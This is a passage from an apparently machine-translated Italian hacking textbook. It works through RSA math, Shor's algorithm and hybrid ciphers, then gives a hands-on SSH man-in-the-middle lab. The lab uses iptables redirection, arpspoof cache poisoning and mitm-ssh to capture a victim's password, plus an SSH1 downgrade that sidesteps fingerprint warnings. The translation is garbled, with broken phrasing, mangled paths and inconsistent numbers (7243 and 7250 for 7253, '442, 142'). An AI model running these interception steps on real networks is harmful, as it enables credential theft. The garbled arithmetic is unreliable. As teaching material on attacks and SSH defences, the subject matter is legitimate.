equazione, dove S è un numero intero qualsiasi:

E·D=S·φ(N)+1

Questo può essere risolto con l'algoritmo Euclideo esteso. L'euclidea


algoritmo è un algoritmo molto vecchio che sembra essere un modo molto veloce per calcolare

400 0x700
Pagina 415

il massimo comune divisore (GCD) di due numeri. Il più grande dei due
numeri è diviso per il numero più piccolo, prestando attenzione solo al
resto. Quindi, il numero più piccolo viene diviso per il resto e
il processo viene ripetuto fino a quando il resto è zero. L'ultimo valore per il
resto prima che raggiunga lo zero è il massimo comune divisore dei due
numeri originali. Questo algoritmo è abbastanza veloce, con un tempo di esecuzione di O (log 10 N ).
Ciò significa che per trovare la risposta dovrebbero essere necessari tanti passaggi quanti
il numero di cifre nel numero più grande.
Nella tabella seguente, il MCD di 7253 e 120, scritto come gcd (7253, 120),
sarà calcolato. La tabella inizia mettendo i due numeri nelle colonne
A e B, con il numero più grande in colonna A. Quindi A è diviso per B , e
il resto viene messo nella colonna R. Nella riga successiva, il vecchio B diventa il
nuovo A , e il vecchio R diventa il nuovo B. R viene calcolato di nuovo, e questo
il processo viene ripetuto fino a quando il resto è zero. L'ultimo valore di R prima
zero è il massimo comune divisore.

mcd (7253, 120)

UN B R

7253 120 53

120 53 14

53 14 11

14 11 3

11 3 2

3 2 1

2 1 0

Quindi, il massimo comune divisore di 7243 e 120 è 1. Ciò significa che


7250 e 120 sono relativamente primi l'uno rispetto all'altro.
L' algoritmo euclideo esteso si occupa di trovare due numeri interi, J e K,
tale che

J·A+K·B=R

quando gcd ( A , B ) = R .
Questo viene fatto lavorando l'algoritmo euclideo all'indietro. In questo caso,
tuttavia, i quozienti sono importanti. Ecco la matematica del priore
esempio, con i quozienti:

7253 = 60,120 + 53

120 = 2 · 53 + 14

53 = 3 · 14 + 11

14 = 1 · 11 + 3

11 =3·3+2

3 =1·2+1

Cryptology 401

Pagina 416

Con un po 'di algebra di base, i termini possono essere spostati per ciascuno
in modo che il resto (mostrato in grassetto) sia da solo a sinistra del segno di uguale:

53 = 7253 - 60 · 120

14 = 120-2 · 53

11 = 53 - 3 · 14

3 = 14 - 1 · 11

2 = 11 - 3 · 3

1=3-1·2

Partendo dal basso, è chiaro che:

1=3-1·2

La riga sopra, però, è 2 = 11 - 3 · 3, che dà una sostituzione


per 2:

1 = 3 - 1 · (11 - 3 · 3)

1 = 4 · 3 - 1 · 11

La riga sopra mostra che 3 = 14 - 1 · 11, che può anche essere


sostituito con 3:

1 = 4 · (14 - 1 · 11) - 1 · 11

1 = 4 · 14 - 5 · 11

Naturalmente, la riga sopra che mostra che 11 = 53 - 3 · 14, richiede


un'altra sostituzione:

1 = 4 · 14 - 5 · (53 - 3 · 14)

1 = 19 · 14 - 5 · 53

Seguendo lo schema, usiamo la linea che mostra 14 = 120 - 2 · 53,


risultante in un'altra sostituzione:

1 = 19 · (120 - 2 · 53) - 5 · 53

1 = 19,120 - 43,53

Infine, la riga superiore mostra che 53 = 7253 - 60 · 120, per una finale
sostituzione:

1 = 19 · 120 - 43 · (7253 - 60 · 120)

1 = 2599 · 120 - 43 · 7253

2599 · 120 + −43 · 7253 = 1

Questo mostra che J e K sarebbero rispettivamente 2599 e −43.

402 0x700

Pagina 417

I numeri nell'esempio precedente sono stati scelti in base alla loro rilevanza
RSA. Supponendo che i valori di P e Q siano 11 e 13, N sarebbe 143. Là-
avanti, φ ( N ) = 120 = (11 - 1) · (13 - 1). Poiché 7253 è relativamente primo a 120,
quel numero rende un ottimo rapporto qualità- E .
Se ricordi, l'obiettivo era trovare un valore per D che soddisfacesse quanto segue
equazione:

E·D=S·φ(N)+1

Alcuni algebra di base lo mettono in una forma più familiare:

D·E+S·φ(N)=1

D · 7253 ± S · 120 = 1

Usando i valori dell'algoritmo euclideo esteso, è evidente


che D = −43. Il valore per S non ha molta importanza, il che significa che questa matematica
è fatto modulo φ ( N ), o modulo 120. Ciò, a sua volta, significa che è positivo
il valore equivalente per D è 77, poiché 120 - 43 = 77. Questo può essere inserito nel file
equazione precedente dall'alto:

E·D=S·φ(N)+1

7253 · 77 = 4654 · 120 + 1

I valori per N ed E sono distribuiti come chiave pubblica, mentre D è


tenuto segreto come chiave privata. P e Q vengono scartati. La crittografia e
le funzioni di decrittografia sono abbastanza semplici.

Crittografia: C = M E (mod N )

Decrittazione: M = C D (mod N )

Ad esempio, se il messaggio, M, è 98, la crittografia sarebbe la seguente:

98 7253 = 76 (mod143)

Il testo cifrato sarebbe 76. Quindi, solo qualcuno che conosceva il valore per
D potrebbe decriptare il messaggio e recuperare il numero 98 dal numero 76,
come segue:

76 77 = 98 (mod143)

Ovviamente, se il messaggio, M , è più grande di N , deve essere scomposto


in blocchi che sono più piccoli di N .
Questo processo è reso possibile dal teorema totale di Eulero. Lo afferma
se M e N sono primi relativamente, dove M è il numero minore, allora
quando M viene moltiplicato per se stesso φ ( N ) volte e diviso per N , il resto
sarà sempre 1:
φ( N) = 1 (mod N )
Se mcd ( M , N ) = 1 e M < N allora M

Cryptology 403

Pagina 418

Poiché tutto questo è fatto modulo N , è vero anche quanto segue, a causa del modo
la moltiplicazione funziona nell'aritmetica del modulo:

M φ( N) · M φ( N) = 1 · 1 (mod N )

M 2 · φ ( N ) = 1 (mod N )

Questo processo potrebbe essere ripetuto ancora e ancora S volte per produrre questo:

M S · φ ( N ) = 1 (mod N )

Se entrambi i lati vengono moltiplicati per M , il risultato è:

M S · φ ( N ) · M = 1 · M (mod N )

M S · φ ( N ) + 1 = M (mod N )

Questa equazione è fondamentalmente il nucleo di RSA. Un numero, M, elevato a potenza


modulo N, produce nuovamente il numero originale M. Questa è fondamentalmente una funzione
che restituisce il proprio input, che di per sé non è poi così interessante. Ma se questo
l'equazione potrebbe essere suddivisa in due parti separate, quindi una parte potrebbe essere
utilizzato per crittografare e l'altro per decrittografare, producendo il messaggio originale
ancora. Questo può essere fatto trovando due numeri, E e D, che si sono moltiplicati
insieme uguale S per φ ( N ) più 1. Quindi questo valore può essere sostituito con
l'equazione precedente:
E·D=S·φ(N)+1
M E · D = M (mod N )

Questo è equivalente a:
ED
M = M (mod N )

che può essere suddiviso in due fasi:

ME = C (mod N )

CD = M (mod N )

E questo è fondamentalmente RSA. La sicurezza dell'algoritmo è legata alla conservazione


Segreto di D. Ma poiché N ed E sono entrambi valori pubblici, se N può essere preso in considerazione
l'originale P e Q , quindi φ ( N ) può essere facilmente calcolato con ( P - 1) · ( Q - 1),
e quindi D può essere determinato con l'algoritmo euclideo esteso. Là-
inoltre, le dimensioni chiave per RSA devono essere scelte con il factoring più noto
algoritmo in mente per mantenere la sicurezza computazionale. Attualmente, il migliore-
noto algoritmo di factoring per grandi numeri è il number field sieve (NFS).
Questo algoritmo ha un tempo di esecuzione sottoesponenziale, che è abbastanza buono, ma comunque
non abbastanza veloce da decifrare una chiave RSA a 2.048 bit in un ragionevole lasso di tempo.

0x742 Algoritmo di fattorizzazione quantistica di Peter Shor


Ancora una volta, il calcolo quantistico promette aumenti sorprendenti nel calcolo
potenziale di azione. Peter Shor è stato in grado di sfruttare il massiccio parallelismo
di computer quantistici per fattorizzare in modo efficiente i numeri utilizzando un vecchio numero
trucco teorico.

404 0x700

Pagina 419

L'algoritmo è in realtà abbastanza semplice. Prendi un numero, N, per fattorizzare.


Scegliere un valore, A, che è meno di N . Anche questo valore dovrebbe essere relativo
primo a N , ma assumendo che N sia il prodotto di due numeri primi
(che sarà sempre il caso quando si cerca di fattorizzare i numeri per infrangere l'RSA),
se A non è relativamente privilegiata per N , allora A è una delle N fattori ‘s.
Quindi, carica la sovrapposizione con il conteggio sequenziale dei numeri
da 1 e inserisci ognuno di questi valori tramite la funzione
f ( x ) = A x (mod N ). Tutto questo viene fatto allo stesso tempo, attraverso la magia
del calcolo quantistico. Nei risultati emergerà uno schema ripetitivo,
e il periodo di questa ripetizione deve essere trovato. Fortunatamente, questo può essere fatto
rapidamente su un computer quantistico con una trasformata di Fourier. Questo periodo lo farà
essere chiamato R .
Quindi, calcola semplicemente mcd ( A R / 2 + 1, N ) e mcd ( A R / 2 - 1, N ). Almeno uno
di questi valori dovrebbe essere un fattore di N . Questo è possibile perché A R = 1 (mod N )
ed è ulteriormente spiegato di seguito.

A R = 1 (mod N )

( A R / 2 ) 2 = 1 (mod N )

( A R / 2 ) 2 - 1 = 0 (mod N )

( A R / 2 - 1) · ( A R / 2 + 1) = 0 (mod N )

Ciò significa che ( A R / 2 - 1) · ( A R / 2 + 1) è un multiplo intero di N . Come


finché questi valori non si azzerano, uno di loro avrà un fattore
in comune con N .
Per decifrare il precedente esempio RSA, è necessario prendere in considerazione il valore pubblico N.
In questo caso N è uguale a 143. Successivamente, viene scelto un valore per A relativamente primo a
e minore di N , quindi A è uguale a 21. La funzione apparirà come f ( x ) = 21 x (mod143).
Ogni valore sequenziale da 1 fino a quanto lo farà il computer quantistico
allow verrà sottoposto a questa funzione.
Per mantenere questo breve, il presupposto sarà che il computer quantistico
ha tre bit quantistici, quindi la sovrapposizione può contenere otto valori.

x=1 211 (mod143) = 21


x=2 212 (mod143) = 12
x=3 213 (mod143) = 109
x=4 214 (mod143) = 1
x=5 215 (mod143) = 21
x=6 216 (mod143) = 12
x=7 217 (mod143) = 109
x=8 218 (mod143) = 1

Qui il periodo è facile da determinare a occhio: R è 4. Armato di questo


informazioni, mcd (21 2 - 1143) e mcd (21 2 + 1143) dovrebbero produrre a
almeno uno dei fattori. Questa volta, entrambi i fattori appaiono effettivamente, da allora
mcd (440, 143) = 11 e mcd (442, 142) = 13. Questi fattori possono quindi essere
utilizzato per ricalcolare la chiave privata per il precedente esempio di RSA.

Cryptology 405

Pagina 420

Cifrature ibride 0x750


Un sistema crittografico ibrido ottiene il meglio da entrambi i mondi. Una cifra asimmetrica
viene utilizzato per scambiare una chiave generata casualmente utilizzata per crittografare il file
comunicazioni rimanenti con un codice simmetrico. Questo fornisce il
velocità ed efficienza di un cifrario simmetrico, risolvendo il dilemma di
scambio di chiavi sicuro. I cifrari ibridi sono usati dalla maggior parte dei moderni sistemi di crittografia
applicazioni, come SSL, SSH e PGP.
Poiché la maggior parte delle applicazioni utilizza cifrari resistenti alla crittoanalisi,
attaccare il codice di solito non funziona. Tuttavia, se un attaccante può interagire
eccetto le comunicazioni tra entrambe le parti e mascherarsi come una o l'altra
altro, l'algoritmo di scambio delle chiavi può essere attaccato.

0x751 Attacchi Man-in-the-Middle


Un attacco man-in-the-middle (MitM) è un modo intelligente per aggirare la crittografia.
L'attaccante siede tra le due parti comunicanti, con ciascuna delle parti
credendo di comunicare con l'altra parte, ma entrambi sono
comunicare con l'attaccante.
Quando viene stabilita una connessione crittografata tra le due parti, a
la chiave segreta viene generata e trasmessa utilizzando una crittografia asimmetrica. Generalmente,
questa chiave viene utilizzata per crittografare ulteriori comunicazioni tra le due parti.
Poiché la chiave viene trasmessa in modo sicuro e il traffico successivo è protetto da
la chiave, tutto questo traffico è illeggibile da qualsiasi potenziale attaccante che li annusi
pacchetti.
Tuttavia, in un attacco MitM, la parte A crede di comunicare
con B , e la parte B crede di comunicare con A , ma in realtà entrambe le cose
stanno comunicando con l'aggressore. Quindi, quando A negozia un file
connessione con B , A sta effettivamente aprendo una connessione crittografata con
attaccante, il che significa che l'attaccante comunica in modo sicuro con un file asimmetrico
cifrare e apprende la chiave segreta. Quindi l'attaccante deve solo aprirne un altro
criptato connessione con B , e B crederà che sta comunicando
con A , come mostrato nell'illustrazione seguente.

Crittografato
Comunicazione
con la chiave 1
Attaccante Sistema A
Sembra
essere Sistema B
Sembra
essere Sistema A

Crittografato Entrambi i sistemi A e B credono


Comunicazione
stanno comunicando con
con chiave 2
l'un l'altro.

Sistema B

406 0x700

Pagina 421

Ciò significa che l'aggressore mantiene effettivamente due separati crittografati


canali di comunicazione con due chiavi di crittografia separate. Pacchetti da A
vengono crittografati con la prima chiave e inviati all'attaccante, che A ritiene sia
effettivamente B. L'aggressore poi decrittografa questi pacchetti con la prima chiave e
li crittografa nuovamente con la seconda chiave. Quindi l'attaccante invia il nuovo
pacchetti crittografati a B e B ritiene che questi pacchetti vengano effettivamente inviati
di A. Sedendosi al centro e mantenendo due chiavi separate, l'attaccante
è in grado di annusare e persino modificare il traffico tra A e B senza nessuno dei due lati
essere il più saggio.
Dopo aver reindirizzato il traffico utilizzando uno strumento di avvelenamento della cache ARP, è disponibile un file
numero di strumenti di attacco man-in-the-middle SSH che possono essere utilizzati. La maggior parte
queste sono solo modifiche al codice sorgente di openssh esistente. Uno notevole
esempio è il pacchetto mitm-ssh, appropriatamente chiamato, di Claes Nyberg, che ha
stato incluso nel LiveCD.
Tutto questo può essere fatto con la tecnica di reindirizzamento ARP da "Active
Sniffing "a pagina 239 e un pacchetto openssh modificato chiamato appropriatamente mitm-
ssh. Ci sono altri strumenti che lo fanno; tuttavia, mitm-ssh di Claes Nyberg
è pubblicamente disponibile e il più robusto. Il pacchetto sorgente si trova su
LiveCD in / usr / src / mitm-ssh, ed è già stato compilato e installato.
Durante l'esecuzione, accetta connessioni a una determinata porta e quindi proxy
queste connessioni all'indirizzo IP di destinazione reale dell'SSH di destinazione
server. Con l'aiuto di arpspoof per avvelenare le cache ARP, il traffico verso l'obiettivo
Il server SSH può essere reindirizzato alla macchina dell'attaccante che esegue mitm-ssh.
Poiché questo programma ascolta su localhost, sono necessarie alcune regole di filtraggio IP
per reindirizzare il traffico.
Nell'esempio seguente, il server SSH di destinazione è 192.168.42.72. quando
mitm-ssh viene eseguito, ascolterà sulla porta 2222, quindi non è necessario eseguirlo come
radice. Il comando iptables dice a Linux di reindirizzare tutti i collegamenti TCP in entrata
connessioni sulla porta 22 a localhost 2222, dove mitm-ssh sarà in ascolto.

reader @ hacking: ~ $ sudo iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-ports 2222
lettore @ hacking: ~ $ sudo iptables -t nat -L
PREROUTING catena (accetto criteri)
destinazione prot opt ​sorgente destinazione
REDIRECT tcp - ovunque dovunque tcp dpt: porte di reindirizzamento ssh 2222

Catena POSTROUTING (politica ACCETTA)


destinazione prot opt ​sorgente destinazione

OUTPUT catena (politica ACCETTA)


destinazione prot opt ​sorgente destinazione
lettore @ hacking: ~ $ mitm-ssh

..
/ | \ SSH Man In The Middle [Basato su OpenSSH_3.9p1]
_ | _ Di CMN <cmn@darklab.org>

Utilizzo: mitm-ssh <non-nat-route> [opzione / i]

Itinerari:

Cryptology 407
Pagina 422

<host> [: <port>] - Route statica alla porta sull'host


(per connessioni non NAT)

Opzioni:
-v - Output dettagliato
-n - Non tentare di risolvere i nomi host
-d - Debug, ripetere per aumentare la verbosità
-p porta - Porta su cui ascoltare le connessioni
-f configfile - File di configurazione da leggere

Opzioni registro:
-c logdir - Registra i dati dal client nella directory
-s logdir - Registra i dati dal server nella directory
-o file - Registra le password nel file

lettore @ hacking: ~ $ mitm-ssh 192.168.42.72 -v -n -p 2222


Utilizzo della route statica per 192.168.42.72:22
Server SSH MITM in ascolto sulla porta 0.0.0.0 2222.
Generazione della chiave RSA a 768 bit.
Generazione della chiave RSA completata.

Quindi in un'altra finestra di terminale sulla stessa macchina, Dug Song


Lo strumento arpspoof viene utilizzato per avvelenare le cache ARP e reindirizzare il traffico destinato a
192.168.42.72 alla nostra macchina, invece.

lettore @ hacking: ~ $ arpspoof


Versione: 2.3.0
Utilizzo: arpspoof [-i interfaccia] [-t target] host
lettore @ hacking: ~ $ sudo arpspoof -i eth0 192.168.42.72
0: 12: 3f: 7: 39: 9c ff: ff: ff: ff: ff: ff 0806 42: arp risposta 192.168.42.72 is-at 0: 12: 3f: 7: 39: 9c
0: 12: 3f: 7: 39: 9c ff: ff: ff: ff: ff: ff 0806 42: arp risposta 192.168.42.72 is-at 0: 12: 3f: 7: 39: 9c
0: 12: 3f: 7: 39: 9c ff: ff: ff: ff: ff: ff 0806 42: arp risposta 192.168.42.72 is-at 0: 12: 3f: 7: 39: 9c

E ora l'attacco MitM è pronto e pronto per il prossimo insospettabile


in attesa della vittima. L'output di seguito proviene da un'altra macchina sulla rete
(192.168.42.250), che effettua una connessione SSH a 192.168.42.72.

Sulla macchina 192.168.42.250 (tetsuo), Connessione a 192.168.42.72 (loki)

iz @ tetsuo: ~ $ ssh jose@192.168.42.72


L'autenticità dell'host "192.168.42.72 (192.168.42.72)" non può essere stabilita.
L'impronta digitale della chiave RSA è 84: 7a: 71: 58: 0f: b5: 5e: 1b: 17: d7: b5: 9c: 81: 5a: 56: 7c.
Sei sicuro di voler continuare a connetterti (sì / no)? sì
Avviso: aggiunto in modo permanente "192.168.42.72" (RSA) all'elenco degli host noti.
jose@192.168.42.72's password:
Ultimo accesso: lunedì 1 ottobre 06:32:37 2007 da 192.168.42.72
Linux loki 2.6.20-16-generic # 2 SMP giovedì 7 giugno 20:19:32 UTC 2007 i686

jose @ loki: ~ $ ls -a
. .. .bash_logout .bash_profile .bashrc .bashrc.swp .profile Esempi
jose @ loki: ~ $ id
uid = 1001 (jose) gid = 1001 (jose) gruppi = 1001 (jose)
jose @ loki: ~ $ exit
disconnettersi

408 0x700

Pagina 423

Connessione a 192.168.42.72 chiusa.

iz @ tetsuo: ~ $

Sembra tutto a posto e la connessione sembra essere sicura.


Tuttavia, la connessione è stata instradata segretamente attraverso l'aggressore
macchina, che utilizzava una connessione crittografata separata per tornare al file
server di destinazione. Di nuovo sulla macchina dell'attaccante, tutto ciò che riguarda il file
la connessione è stata registrata.

Sulla macchina dell'attaccante

lettore @ hacking: ~ $ sudo mitm-ssh 192.168.42.72 -v -n -p 2222


Utilizzo della route statica per 192.168.42.72:22
Server SSH MITM in ascolto sulla porta 0.0.0.0 2222.
Generazione della chiave RSA a 768 bit.
Generazione della chiave RSA completata.
ATTENZIONE: / usr / local / etc / moduli non esiste, usando un modulo fisso
[MITM] Trovato target reale 192.168.42.72:22 per l'host NAT 192.168.42.250:1929
[MITM] Routing SSH2 192.168.42.250:1929 -> 192.168.42.72:22

[2007-10-01 13:33:42] MITM (SSH2) 192.168.42.250:1929 -> 192.168.42.72:22


SSH2_MSG_USERAUTH_REQUEST: jose password di connessione ssh 0 sP # byp% srt

[MITM] Connessione da UNKNOWN: 1929 chiusa


lettore @ hacking: ~ $ ls / usr / local / var / log / mitm-ssh /
passwd.log
ssh2 192.168.42.250:1929 <- 192.168.42.72:22
ssh2 192.168.42.250:1929 -> 192.168.42.72:22
lettore @ hacking: ~ $ cat /usr/local/var/log/mitm-ssh/passwd.log
[2007-10-01 13:33:42] MITM (SSH2) 192.168.42.250:1929 -> 192.168.42.72:22
SSH2_MSG_USERAUTH_REQUEST: jose password di connessione ssh 0 sP # byp% srt

lettore @ hacking: ~ $ cat / usr / local / var / log / mitm-ssh / ssh2 *


Ultimo accesso: lunedì 1 ottobre 06:32:37 2007 da 192.168.42.72
Linux loki 2.6.20-16-generic # 2 SMP giovedì 7 giugno 20:19:32 UTC 2007 i686
jose @ loki: ~ $ ls -a
. .. .bash_logout .bash_profile .bashrc .bashrc.swp .profile Esempi
jose @ loki: ~ $ id
uid = 1001 (jose) gid = 1001 (jose) gruppi = 1001 (jose)
jose @ loki: ~ $ exit
disconnettersi

Poiché l'autenticazione è stata effettivamente reindirizzata, con il file


macchina che funge da proxy, la password sP # byp% srt potrebbe essere rilevata. Nel
Inoltre vengono catturati i dati trasmessi durante la connessione, mostrandoli
l'aggressore tutto ciò che la vittima ha fatto durante la sessione SSH.
La capacità dell'aggressore di mascherarsi da entrambe le parti è ciò che rende questo
tipo di attacco possibile. SSL e SSH sono stati progettati con questo in mente e
avere protezioni contro lo spoofing dell'identità. SSL utilizza i certificati per convalidare
identità e SSH utilizza le impronte digitali dell'host. Se l'attaccante non ha l'estensione
certificato corretto o impronta digitale per B quando A tenta di aprire un file crittografato

Cryptology 409

Pagina 424

canale di comunicazione con l'attaccante, le firme non corrispondono e A


verrà avvisato con un avviso.
Nell'esempio precedente, 192.168.42.250 (tetsuo) non aveva mai avuto in precedenza
comunicato tramite SSH con 192.168.42.72 (loki) e quindi non lo fece
avere un'impronta digitale host. L'impronta digitale dell'host che ha accettato era effettivamente
l'impronta digitale generata da mitm-ssh. Se, tuttavia, 192.168.42.250 (tetsuo)
aveva un'impronta digitale host per 192.168.42.72 (loki), l'intero attacco lo avrebbe fatto
sono stati rilevati e all'utente sarebbe stato presentato un messaggio molto
avvertimento palese:

iz @ tetsuo: ~ $ ssh jose@192.168.42.72


@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@
@ ATTENZIONE: L'IDENTIFICAZIONE DELL'HOST REMOTO È CAMBIATA! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@
È POSSIBILE CHE QUALCUNO STA FACENDO QUALCOSA DI NASTRO!
Qualcuno potrebbe ascoltarti in questo momento (attacco man-in-the-middle)!
È anche possibile che la chiave host RSA sia stata appena modificata.
L'impronta digitale per la chiave RSA inviata dall'host remoto è
84: 7a: 71: 58: 0f: b5: 5e: 1b: 17: d7: b5: 9c: 81: 5a: 56: 7c.
Contatta l'amministratore di sistema.
Aggiungi la chiave host corretta in /home/jon/.ssh/known_hosts per eliminare questo messaggio.
Chiave offensiva in /home/jon/.ssh/known_hosts:1
La chiave host RSA per 192.168.42.72 è stata modificata e hai richiesto un controllo rigoroso.
Verifica della chiave host non riuscita.
iz @ tetsuo: ~ $

Il client openssh impedirà effettivamente all'utente di connettersi fino a


la vecchia impronta digitale dell'host è stata rimossa. Tuttavia, molti messaggi di errore Windows SSH
i clienti non hanno lo stesso tipo di rigorosa applicazione di queste regole e lo faranno
presenta all'utente un "Sei sicuro di voler continuare?" la finestra di dialogo.
Un utente non informato potrebbe semplicemente fare clic a destra attraverso l'avviso.

0x752 Impronte digitali host del protocollo SSH diverse


Le impronte digitali dell'host SSH presentano alcune vulnerabilità. Queste vulnerabilità
sono stati compensati nelle versioni più recenti di openssh, ma loro
esistono ancora nelle implementazioni precedenti.
Di solito, la prima volta che viene effettuata una connessione SSH a un nuovo host, quello host
l'impronta digitale viene aggiunta a un file known_hosts , come mostrato di seguito:

iz @ tetsuo: ~ $ ssh jose@192.168.42.72


L'autenticità dell'host "192.168.42.72 (192.168.42.72)" non può essere stabilita.
L'impronta digitale della chiave RSA è ba: 06: 7f: d2: b9: 74: a8: 0a: 13: cb: a2: f7: e0: 10: 59: a0.
Sei sicuro di voler continuare a connetterti (sì / no)? sì
Avviso: aggiunto in modo permanente "192.168.42.72" (RSA) all'elenco degli host noti.
password di jose@192.168.42.72: <ctrl-c>
iz @ tetsuo: ~ $ grep 192.168.42.72 ~ / .ssh / known_hosts
192.168.42.72 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEA8Xq6H28EOiCbQaFbIzPtMJSc316SH4aOijgkf7nZnH4LirNziH5upZmk4 /
JSdBXcQohiskFFeHadFViuB4xIURZeF3Z7OJtEi8aupf2pAnhSHF4rmMV1pwaSuNTahsBoKOKSaTUOW0RN / 1t3G /
52KTzjtKGacX4gTLNSc8fzfZU =
iz @ tetsuo: ~ $

410 0x700

Pagina 425

Tuttavia, ci sono due diversi protocolli di SSH — SSH1 e SSH2—


ciascuno con impronte digitali host separate.

iz @ tetsuo: ~ $ rm ~ / .ssh / known_hosts


iz @ tetsuo: ~ $ ssh -1 jose@192.168.42.72
L'autenticità dell'host "192.168.42.72 (192.168.42.72)" non può essere stabilita.
L'impronta digitale della chiave RSA1 è e7: c4: 81: fe: 38: bc: a8: 03: f9: 79: cd: 16: e9: 8f: 43: 55.
Sei sicuro di voler continuare a connetterti (sì / no)? no
Verifica della chiave host non riuscita.
iz @ tetsuo: ~ $ ssh -2 jose@192.168.42.72
L'autenticità dell'host "192.168.42.72 (192.168.42.72)" non può essere stabilita.
L'impronta digitale della chiave RSA è ba: 06: 7f: d2: b9: 74: a8: 0a: 13: cb: a2: f7: e0: 10: 59: a0.
Sei sicuro di voler continuare a connetterti (sì / no)? no
Verifica della chiave host non riuscita.
iz @ tetsuo: ~ $

Il banner presentato dal server SSH descrive quali protocolli SSH


capisce (mostrato in grassetto sotto):

iz @ tetsuo: ~ $ telnet 192.168.42.72 22


Prova 192.168.42.72 ...
Collegato a 192.168.42.72.
Il carattere di escape è "^]".
SSH-1.99-OpenSSH_3.9p1

Connessione chiusa da host straniero.


iz @ tetsuo: ~ $ telnet 192.168.42.1 22
Prova 192.168.42.1 ...
Collegato a 192.168.42.1.
Il carattere di escape è "^]".
SSH-2.0-OpenSSH_4.3p2 Debian-8ubuntu1

Connessione chiusa da host straniero.


iz @ tetsuo: ~ $

Il banner da 192.168.42.72 (loki) include la stringa SSH-1.99 , che,


per convenzione, significa che il server parla entrambi i protocolli 1 e 2. Spesso, il
Il server SSH verrà configurato con una riga come Protocol 2,1 , che significa anche
il server parla entrambi i protocolli e cerca di usare SSH2 se possibile. Questo è per
mantenere la compatibilità con le versioni precedenti, in modo che i client solo SSH1 possano ancora connettersi.
Al contrario, il banner da 192.168.42.1 include la stringa SSH-2.0 ,
il che mostra che il server parla solo il protocollo 2. In questo caso, è ovvio
che tutti i client che si connettono ad esso hanno comunicato solo con SSH2 e
quindi hanno solo le impronte digitali dell'host per il protocollo 2.
Lo stesso vale per loki (192.168.42.72); tuttavia, loki accetta anche SSH1,
che ha un diverso set di impronte digitali host. È improbabile che lo faccia un cliente
hanno usato SSH1 e quindi non ha le impronte digitali dell'host per questo
protocollo ancora.
Se il daemon SSH modificato utilizzato per l'attacco MitM forza il
client per comunicare utilizzando l'altro protocollo, nessuna impronta digitale dell'host sarà
trovato. Invece di ricevere un lungo avviso, l'utente lo farà semplicemente

Cryptology 411

Pagina 426

viene chiesto di aggiungere la nuova impronta digitale. Il mitm-sshtool utilizza una configurazione
file simile a quello di openssh, poiché è costruito da quel codice. Aggiungendo la linea
a / usr / local / etc / mitm-ssh_config, il demone mitm-ssh lo farà
Protocollo 1
affermare che parla solo il protocollo SSH1.
L'output sotto mostra che il server SSH di loki di solito parla usando entrambi
Protocolli SSH1 e SSH2, ma quando mitm-ssh viene inserito nel mezzo usando il
nuovo file di configurazione, il falso server afferma di parlare solo del protocollo SSH1.

Da 192.168.42.250 (tetsuo), solo una macchina innocente in rete

iz @ tetsuo: ~ $ telnet 192.168.42.72 22


Prova 192.168.42.72 ...
Collegato a 192.168.42.72.
Il carattere di escape è "^]".
SSH-1.99-OpenSSH_3.9p1

Connessione chiusa da host straniero.


iz @ tetsuo: ~ $ rm ~ / .ssh / known_hosts
iz @ tetsuo: ~ $ ssh jose@192.168.42.72
L'autenticità dell'host "192.168.42.72 (192.168.42.72)" non può essere stabilita.
L'impronta digitale della chiave RSA è ba: 06: 7f: d2: b9: 74: a8: 0a: 13: cb: a2: f7: e0: 10: 59: a0.
Sei sicuro di voler continuare a connetterti (sì / no)? sì
Avviso: aggiunto in modo permanente "192.168.42.72" (RSA) all'elenco degli host noti.
jose@192.168.42.72's password:

iz @ tetsuo: ~ $

Sulla macchina dell'attaccante, configurazione di mitm-ssh per utilizzare solo il protocollo SSH1

reader @ hacking: ~ $ echo "Protocol 1" >> / usr / local / etc / mitm-ssh_config
lettore @ hacking: ~ $ tail / usr / local / etc / mitm-ssh_config
# Dove memorizzare le password
#PasswdLogFile /var/log/mitm-ssh/passwd.log

# Dove memorizzare i dati inviati dal client al server


#ClientToServerLogDir / var / log / mitm-ssh

# Dove memorizzare i dati inviati dal server al client


#ServerToClientLogDir / var / log / mitm-ssh

Protocollo 1
lettore @ hacking: ~ $ mitm-ssh 192.168.42.72 -v -n -p 2222
Utilizzo della route statica per 192.168.42.72:22
Server SSH MITM in ascolto sulla porta 0.0.0.0 2222.
Generazione della chiave RSA a 768 bit.
Generazione della chiave RSA completata.

Ora di nuovo su 192.168.42.250 (tetsuo)

iz @ tetsuo: ~ $ telnet 192.168.42.72 22


Prova 192.168.42.72 ...
Collegato a 192.168.42.72.

412 0x700

Pagina 427

Il carattere di escape è "^]".


SSH-1.5-OpenSSH_3.9p1

Connessione chiusa da host straniero.

Di solito, i client come tetsuo che si connettono a loki a 192.168.42.72 lo farebbero


hanno comunicato solo tramite SSH2. Pertanto, ci sarebbe solo un host
impronta digitale per il protocollo SSH 2 memorizzata sul client. Quando il protocollo 1 è forzato
dall'attacco MitM, l'impronta digitale dell'aggressore non verrà confrontata con quella memorizzata
impronta digitale, a causa dei diversi protocolli. Le implementazioni più vecchie lo faranno semplicemente
chiedi di aggiungere questa impronta poiché, tecnicamente, non esiste alcuna impronta digitale dell'host per
questo protocollo. Questo è mostrato nell'output di seguito.

iz @ tetsuo: ~ $ ssh jose@192.168.42.72


L'autenticità dell'host "192.168.42.72 (192.168.42.72)" non può essere stabilita.
L'impronta digitale della chiave RSA1 è 45: f7: 8d: ea: 51: 0f: 25: db: 5a: 4b: 9e: 6a: d6: 3c: d0: a6.
Sei sicuro di voler continuare a connetterti (sì / no)?

Poiché questa vulnerabilità è stata resa pubblica, le nuove implementazioni di


OpenSSH ha un avviso leggermente più dettagliato:

iz @ tetsuo: ~ $ ssh jose@192.168.42.72


ATTENZIONE: chiave RSA trovata per l'host 192.168.42.72
in /home/iz/.ssh/known_hosts:1
Impronta digitale chiave RSA ba: 06: 7f: d2: b9: 74: a8: 0 a: 13: cb: a2: f7: e0: 10: 59: a0.
L'autenticità dell'host "192.168.42.72 (192.168.42.72)" non può essere stabilita
ma chiavi di diverso tipo sono già note per questo host.
L'impronta digitale della chiave RSA1 è 45: f7: 8d: ea: 51: 0f: 25: db: 5a: 4b: 9e: 6a: d6: 3c: d0: a6.
Sei sicuro di voler continuare a connetterti (sì / no)?

Questo avviso modificato non è così forte come l'avviso fornito durante l'host
